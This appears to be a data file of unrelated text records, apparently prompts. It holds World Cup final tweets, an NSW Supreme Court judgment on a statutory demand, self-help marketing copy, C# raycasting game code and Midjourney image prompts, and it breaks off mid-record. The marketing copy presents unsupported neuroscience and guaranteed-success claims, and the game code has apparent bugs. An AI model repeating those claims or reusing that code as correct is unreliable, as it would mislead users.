I don\'t even want Argentina to win but I can\'t deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.\'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal \'\'#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful \'\'Argentina is not playing today \'\'#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it\'s a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL\'\'LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! \'\'That was absolutely beautiful! \'\'This goal was fully deserved!!\'\'#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat\'Was\'BEAUTIFUL FOOTBALL \'\'WWWWOOOOWWWWW\'\'Look at how they turned a France half chance to a PERFECT Argentine counter and goal!\'\'Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal \'\'Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal\'\'#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.\'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????\'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. \'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000' -'N THE SUPREME COURT\nOF NEW SOUTH WALES\nEQUITY DIVISION\nCORPORATIONS LIST\n\nYOUNG CJ in EQ\n\nFriday 6 August 2004\n\n3588/04 – NICOM INTERIORS PTY LTD v CIRCUIT FINANCE PTY LTD\n\nJUDGMENT\n1 HIS HONOUR: This is an application under s 459G of the Corporations Act 2001 to set aside a statutory demand. The defendant is a finance company which entered into a lease agreement with respect to the fixtures and fittings of a putative restaurant at King St Wharf, Sydney. The lease agreement, it would appear, ended up as a financial disaster for the defendant and it claims that $602,341.89 is its loss. The lease was the subject of a guarantee which is annexed to the lease document to which I will return.\n2 On 2 June 2004 the plaintiff, Nicom Interiors Pty Ltd, received a statutory demand for the sum I have mentioned, the claim being made against it as a guarantor.\n3 The grounds on which the defendant’s claim is attacked are technical, but it does seem to me that they are valid and that I need to set aside the statutory demand.\n4 Section 459H of the Corporations Act provides that if the Court is satisfied that there is a genuine dispute between the company and the claimant about the existence or the amount of the debt then the Court sets aside the statutory demand. Section 459J makes it clear that the Court is not to act merely because there is a defect if there is not substantial injustice caused.\n5 The first argument raised by the plaintiff is that on the proper construction of the document it is not a guarantor. There seems little sense in setting out the document in full but in my view it is fairly arguable that the plaintiff is not a guarantor. The guarantee which is attached to the lease commences with the words:\n\n“THIS DEED made on the day last hereunder referred to BETWEEN the person or persons named and described in the schedule hereto (hereinafter called \'the Guarantor\') - of the one part and CIRCUIT FINANCE PTY LTD ... of the other part.”\n6 There then follows words after the word “WITNESSETH” which suggest that the guarantee has been given jointly and severally and that the defendant has the powers given to a mortgagee by the Property Law Act 1958 (Victoria). Then follows in a rectangular box the words “THE SCHEDULE”. In that rectangular box are four names followed by the address of the four persons named. Names and addresses might come within the words “persons named and described in the schedule” though normally one would expect to find a greater description than the mere address. That rectangular box is then closed off and then there are four other rectangular boxes which commence with the words:\n\n"IN WITNESS WHEREOF these presents have been executed on the 22nd day of July 2003\nSIGNED SEALED AND DELIVERED by the said"\n\nthen there are the four names, the name of the witness, the signature of the four named persons and the witness in each of the four boxes. At the conclusion of the fourth box without any insertion of a box the words appear:\n"IF REQUIRED UNDER ITS CONSTITUTION THE COMMON SEAL OF THE GUARANTOR COMPANY WAS HEREUNTO AFFIXED IN THE PRESENCE OF ITS DULY AUTHORISED OFFICER(S)\nOR\nEXECUTED BY THE GUARANTOR COMPANY BY BEING SIGNED BY THE DULY AUTHORISED PERSON(S)\'"\n7 There then appears to be what might be called a slim rectangular box in which the words “Guarantor Company Name” appears printed and the name and ABN number of the plaintiff is then written. There are then four mini boxes each of which is subdivided with the signature of two persons who purport to be directors.\n8 There are then following two sheets, the second of which repeats the guarantee and contains a schedule which says:\n\n“THIS GUARANTEE IS AN ATTACHMENT TO AND FORS PART OF LEASE AGREEMENT NO 6199 DATED 29/7/03”\n\nThere is then the addition of another guarantor, Roy Lombardo, who says he has executed the guarantee as a deed on 29 July 2003.\n9 The lease contained as clause 19.2 in fine print at the end of the document the following:\n\n“The parties hereto agree that the law governing this lease shall be the law of the State of Victoria and the parties consent to the jurisdiction of the Courts of that State”.\n10 Mr Newlinds SC, who appears with Mr Finnane for the plaintiff, says that the proper construction of the guarantee or at least a strongly arguable view of the guarantee is that it only affects the four persons named in the box. This is an unusual argument in the sense that normally people wish to shift liability on to corporations rather than individuals, whereas this argument seems to be going the other way. However, in my view, looking at the document the construction is certainly strongly arguable. The traditional form of deeds is that one has the operative part, then the schedule, then the attestation clause and that prima facie appears to be the way this document is set out. The persons named and described in the schedule appear to me to be more likely than not to be those in the first of the boxes. Now I am not determining the point; this decision is not to be taken as any res judicata. It seems to me that it is sufficiently arguable that it should go to trial.\n11 The second principal argument is that the addition of the extra guarantee on 29 July 2003 means there has been a material alteration in the joint guarantee after it was executed, if it was executed by the plaintiff. That argument would have no force if the proper law of the contract were New South Wales law. That is because the rule that material alteration of a deed vitiates it (known as the rule in Pigot\'s case (1611) 11 Co Rep 26b; 77 ER 1177) was abolished in this State by an amending Act which inserted a new s 184 into the Conveyancing Act 1919 which section came into operation on 1 November 2001. However, it would seem that that reform has never been adopted in Victoria and that the rule in Pigot’s case still applies there. Moreover, it also appears from the authorities which Mr Newlinds SC cited to me that because of some 19th century decision of the Full Court of Victoria, Colonial Bank of Australasia v Moodie (1880) 6 VLR (L) 354 (followed in Birrell v Stafford [1988] VR 281) even a material alteration to a deed which is of benefit to the person now complaining vitiates it. The proper law of the lease is Victoria. The probabilities thus are the proper law of the guarantee is also Victoria: Broken Hill Company Pty Ltd v Xenakis [1982] 2 Ll LR 304, 306.\n12 The third point is that even if the plaintiff did sign as a guarantor it didn’t sign in such a way as to bind it as a deed. The evidence before me is that the plaintiff is a company which has one director who is also the secretary. The document is in fact signed by two people who purport to be directors. Mr Newlinds SC says that just demonstrates confusion. Section 127 of the Corporations Act 2001 provides that where a company has a sole director who is also the secretary that director may execute the document without using a common seal but subsection (3) provides:\n\n“A company may execute a document as a deed if the document is expressed to be executed as a deed and is then executed by in the present case the sole director”.\n13 Although the execution clauses were individual guarantors containing the words both “signed, sealed and delivered” the box for corporate guarantors does not. Moreover, the words which I have set out between the boxes indicate that either the common seal has got to be put on the document or it is executed by being signed; it is not expressed ever to be executed as a deed. Accordingly, there does not appear to be any compliance with s 127(3) of the Corporations Act 2001 which would mean that a tribunal of fact may hold that it is not a deed binding the company and as the company does not appear to have given any consideration it may be that there is a mere nudum pactum.\n14 Mr Aitken, who appears for the defendant, in his usual robust way said that any sensible commercial person or court would read the documents sensibly and not in the way in which Mr Newlinds has put and which seem to be favoured by me during his argument. If he is right, of course, he will win in the District Court.\n15 Order as paragraph 1 in the originating process. Order that the plaintiff will pay the defendant\'s costs. This order is not to affect the order for costs made by Master Macready on 23 July 2004. The orders for costs may be set off.' -'here is part 1\n\n----\nDaySculpting is a program that that deals with YOUR immediate future….It is a 90 day program that teaches U how to create Success… one day at a time…today…\nUsing recent breakthroughs in the field of neuroscience, the study of the human brain, DaySculpting is one of the most powerful success systems on earth for creating what I call… \n"Your Epic Ideal Day" -- And when U have Epic Ideal Days? U create your EPIC IDEAL LIFE.\n\nDaySculpting is broken down into 3 easy to accomplish segments throughout your day…\n~The Morning Lift Process…which sets U up with a MindState of Success and a design for U to follow throughout your day…There is a morning email…SMS text…Inspiring Video…Future Forward Tuning IN…And a 3 step Success Step Declaration Process…this only takes 15 minutes…\n~Mid-Day Reconnect Process…whatever your miid-day is…U are encouraged to stop doing what U are doing and disconnect so U can re-connect…by listening to a 5-minute Tuning In Re-Connection. We know that somewhere in the middle of our day it’s easy to lose momentum and drift from our best intentions because of all the demands on our attention. It has been scientifically proven that when U disconnent for between 3 to 5 minutes at the midpoint of your day….your brain resets…and your energy is replenished…I like to call it a MindState Re-Boot that will inspire U to re-ignite your imagination…this only takes 5 minutes\n~Highlight And Insight Review Process…we all review our day however what DaySculpting \nanchors for U is an activation and integration process that gets U to see your day as being successful…by celebrating your successes (your highlights) and being present to things U could have improved on (your insights) so U can make your insights into highlights..most people when they review their day fail to celebrate even the smallest increments of success…they focus on what they didn’t do and that puts them in a negative energy…Success has challenges and the\nhighlights and insight process encourages and empowers U to honestly see what U are doing each day so U Sculpt new MindStates Of Success rather than the energy of uncertainty…\nthis takes 10 minutes\n\nThe whole DaySculpting process takes 30 minutes a day…and as I always say if U don’t have \n30 minutes to change your life then U don’t want to change your life and U are okay with living \na mediocre life…\n\nDay Sculpting is about targeting specific Chief Aims U have for your life…and creating the Habits that will get U there…Imagine being able to replace the MindTraps (your limiting beliefs) with empowering rituals and habits that become your new normal…\n\nThrough the repetition of doing the daily DaySculpting process U are carving into your Subconscious memory thoughts, beliefs and actions that result in U sculpting the masterpiece known as U…\n\nThere are many programs out there that attempt to instill new success behaviors however many fall short of actually shifting your MindStates into a frequency of possibility where U get to actually see your daily results immediately…DaySculpting does this…\n\nThis is not science fiction… and it\'s not wishful thinking, or some tired old self-improvement, goal-setting program… DaySculpting is a program that empowers U to manifest and realize your Chief Aims in life\n\n"DaySculpting" -- is a tool that takes just MINUTES a day for you to use…\n\nIt is designed to FREE UP hours in your day… while at the SAME time empowering you for greater success in ANY area of your life.\n\nDaySculpting sheds light and solves an age-old problem:\nWHY we often fight against the very changes we desire to make\n\nHave you ever experienced the FEELING that you deserve MORE out of your life? More financial freedom and greater rewards from the hard work you do every day? Deeper, more empowering relationships with those you love… or maybe just meeting that special someone to share your life with? Perhaps you crave a deeper spiritual connection… or a more healthy, trim, energetic body?… \nYET:\nDespite your BEST intentions… you struggle. Perhaps if you\'re anything like me, you even self-sabotage your results with actions that you KNOW are not in your best interest.\n\nMaybe it FEELS like it did for me: Like you are swimming upstream… making SOME progress, sure, but just not reaching your goals and desires fast enough.\n\nWell, I have wonderful news for you: It\'s not because you\'re lazy… and it\'s not because you are not smart enough, competent enough… or ANYTHING enough! \n\nThe real REASON you desire more and are not seeing ALL the results you deserve lies within whether the Success Switch in your brain is in the ON or OFF position…\n\nThe SOLUTION… THE ANSWER to flipping your Success Switch back ON lies within the simple daily steps U will take when U experience the DaySculpting Program… \nThe Day Sculpting Program Is A Simple Step Daily Success RITUAL \u2028 That Shuts Down Your Body\'s Failure Reflex \u2028 So YOU Tap Into Your Brains Success Centers…\u2028 In Just Minutes A Day!\u2028\u2028 IIMAGINE Knowing What HIGHLY SUCCESSFUL \u2028 People Do EVERYDAY…\nFor Abundance And Wealth, Greater Health, Self-Confidence Meaningful Relationships, Sharper Focus , Deeper Joy…\u2028 And So Much More…\n“Now You Too Can Use This 90-Day Game Changer\u2028 To Tap Into The Key Success Centers Of Your Mind,\u2028 And In Just Minutes You Can Transform Even Lousy Days\u2028 Into Days Filled With The Results You Desire – Guaranteed!”\nTO MAKE A GREAT LIFE, ALL YOU HAVE TO IS MAKE EACH DAY A GREAT DAY … \nThen get up tomorrow and do the same thing, day after day after day.\nARE YOU Ready To Change YOUR LIFE One Day At A Time…\nThe comprehensive, fun and empowering 90-day DaySculpting program provides you with the life skills and tools to help you master a new MindState of Success and a range of powerful life-changing rituals and habits that will Sculpt Your Perfect Days Into A Great Life.\nDAY SCULPTING WILL TEACH YOU:\n• The science behind HAVING A MindState Of Success...and why most people who want more in life actually have their success switch turned off by total accident!\n• How to get more done with more time and more energy left over!\n• The simple, yet powerful, process of building a powerful day so you create a series of "Dynamic Days" - days that will end up building your most incredible life (The one you always thought was out of reach!)\n• Learn the \'Day Sculpting Principles\'. These can have a huge impact on you your life, but when you learn how simple they really are, you can use them easily and consistently!\n• How in just a few minutes a day, you can keep positive results flowing and put your success energy into a permanent \'ON\' position!\n• And much more!\nDaySculpting, is for those who are willing to take their life to the next level by creating new Success Habits replacing the ones that have been sabotaging your success. \nSo make sure you can honestly agree with the following before experiencing DaySculpting:\n• You desire more out of life, yet feel as if you are "missing something" -- that special "X Factor" to take you to the next level?\n• You are brave enough to boldly say, "I want greater wealth and financial freedom... and I demand the best lifestyle possible for me and my family!\n• You know the value of joy: You want to experience greater happiness, peace of mind, and connection with your friends and loved ones on a daily basis.\nIf you agree with the above, and truly want to create the best life possible, with greater wealth, freedom, happiness, love, and fulfillment, then I invite you to experience the power of Day Sculpting …it will change the way you think about creating your day and the life you dream about. \nI am not encouraging you to become busier but rather to use your mental and emotional, energy more elegantly sculpting your day the way you want it to be. \nHow many times have you done a ton of work and still felt that you didn’t accomplish what you really wanted for yourself. Week after week, month after month go by and you still are no farther ahead of the game…stuck in the status quo that never seems to change.\n\nBreaking free means that the status quo of your life has to change… your habits of expectation have to change …your mindset has to change…you have to uncover those old behaviors that have held you back and be willing to create a new mindset.\n\nYou have to be willing to shift your daily focus inwards towards what you need to do today rather than tomorrow. Because when you create a great day today you welcome in a more powerful tomorrow.\n\nWe all have the same 24 hours each day. But why are some people building fabulous careers, achieving healthy lifestyles, enjoying great relationships and incomes, living their passions, and creating what they truly desire as a life?\n\nImagine that you could clear away the distractions that you unconsciously create. You know the stuff that consumes your time causes stress and disconnects you from your purpose and passion. \n\nImagine every day you embrace the energy for what you are choosing to create in your life. Your thoughts empower you, your choices inspire you and your actions create momentum, opportunity and possibility.\n\nYou can create a GREAT LIFE, the life you want to live by focusing your efforts on Creating a Great Day Today. That’s Day Sculpting. Seven intentional sculpted days turn into a month of wonderful weeks and a year of magnificent months creating an amazingly successful life.\n\nNone of this is going to work though if you believe that what you were born with is all you will get…\n\nNo one will ever attempt to do something when they are convinced that they will fail.\n\nResearch has shown that the brain will actually stop itself from doing what’s necessary to succeed if a person believes that they cannot succeed.\n\nIt’s the small concrete indicators of success today that will prove you can have whatever it is you want and the process of Day Sculpting will empowers, inspire and motivates you each step of the way.\n\nYou see: Confidence + Discipline = Desired Outcomes \n\nIt’s time to stop looking at your life from a fear based I don’t know how to mindset but rather be open to creating a solutions focused change consciousness that embraces your gift and talents and encourages you sharing them.\n\nLet me share a bit of nuero-chemistry with you…\nWhat fires together wires together…\n\nSo rather than Fall back on old habits…\nTake the transitional step…of being fully present to whats trying emerge as your ideal future and to help it along start building confidence each day…\n\nAnd your possibility muscle and an intended thought process that leads to a more focused and clear out picturing of your desires.\n\nYou see...It’s one thing to set goals and to make to do lists and to say your going to use the law of attraction to manifest what you want in life…\n\nI’m still looking at the many lists I have created.\n\nWhat it’s really about is having a clear and purposeful intention in order to create the energy and the MindState Of success that will propel you into action.\n----\n\nWhen done ask me for part 2' -'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n World.Draw();\n player1.Draw();\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 1000);\n float endY = (float)(startY + Math.Sin(angle) \\* 1000);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Cast(x, y, angle, fov);\n \n \n }\n }\n}' -"8.\nGreat. Here are some more examples of Midjourney prompts. Prompt 1: conjoined twins attched at the side, dirty, tattered, cinematic light, ultra\nrealistic, high contrast, hdr, dark rich colors, photography, powerful, stare, weathered face, 30 - megapixel, 4k, 85 - mm - lens, sharp - focus,\nintricately - detailed, long exposure time, f/ 8, ISO 100, shutter - speed 1/ 125, diffuse - back - lighting, award - winning photograph, facing -\ncamera, High - sharpness, depth - of - field, ultra - detailed photography --ar 3:2 --q 2 --v 5. Prompt 3: Full Body beautiful blonde, wearing a\nbrown jacket, photography, Canon EOS 5D Mark IV DSLR camera, EF 50mm f/1.8 STM lens, Resolution 30.4 megapixels, ISO sensitivity:\n32,000, Shutter speed 8000 second --ar 9:16 --upbeta --v 5. Prompt 4: hasselblad 24mm full body shot photography of gorgeous satisfied looking\nafrican woman, detailed natural skin, no makeup, detailed eyes, long dreadlocks --ar 2:3 --q 5 --v 5 --v 4. Prompt 5: Beautiful dark red sunset\nover the sea shore at night, intricate, amazing, beautiful, realistic, ultra high resolution, wide angle, depth of field, π dynamic lighting --ar 1:2 --v 5\nThank you for providing more examples of Midjourney prompts. These examples further demonstrate the level of detail and specificity that can be\nused in text prompts to generate desired images. The prompts make use of various parameters like aspect ratio, quality, and version settings,\nalong with detailed descriptions of the desired subject, lighting, and camera settings. These examples will be useful for understanding the range\nof possibilities when generating images using Midjourney\n9.\nHere are some more prompt examples: Prompt 1: A stunning, ultra-realistic photograph of a fierce Viking warrior meticulously sharpening his\nformidable blade amidst the rugged, untamed wilderness of the Scandinavian landscape. The scene is captured with a Nikon D850 camera using\na 70-200mm f/2.8 lens, highlighting every intricate detail of the Viking's weathered face, war-worn armor, and expert craftsmanship of his weapon.\nThe settings used are an aperture of f/4, ISO 400, and a shutter speed of 1/200 sec, balancing the natural light and shadows to emphasize the\nintensity and determination in the Viking's eyes. The composition juxtaposes the raw power of the warrior against the serene beauty of the\nsurrounding environment, capturing the very essence of the Viking spirit in a breathtaking, high-resolution image that transports viewers back to a\ntime of legendary battles and untold stories. --ar 16:9 --q 1.5 --v 5.\nPrompt 2: A stunning and atmospheric 1970's New York street cafe captured in a nostalgic and cinematic style, reminiscent of the golden age of\nfilm photography. This vintage scene showcases the bustling urban life, with patrons enjoying their coffee at outdoor tables, surrounded by classic\nautomobiles and retro architecture. The photograph is skillfully composed, using a Leica M3 rangefinder camera paired with a Summicron 35mm\nf/2 lens, renowned for its sharpness and beautiful rendering of colors. The image is shot on Kodak Portra 400 film, imparting a warm and 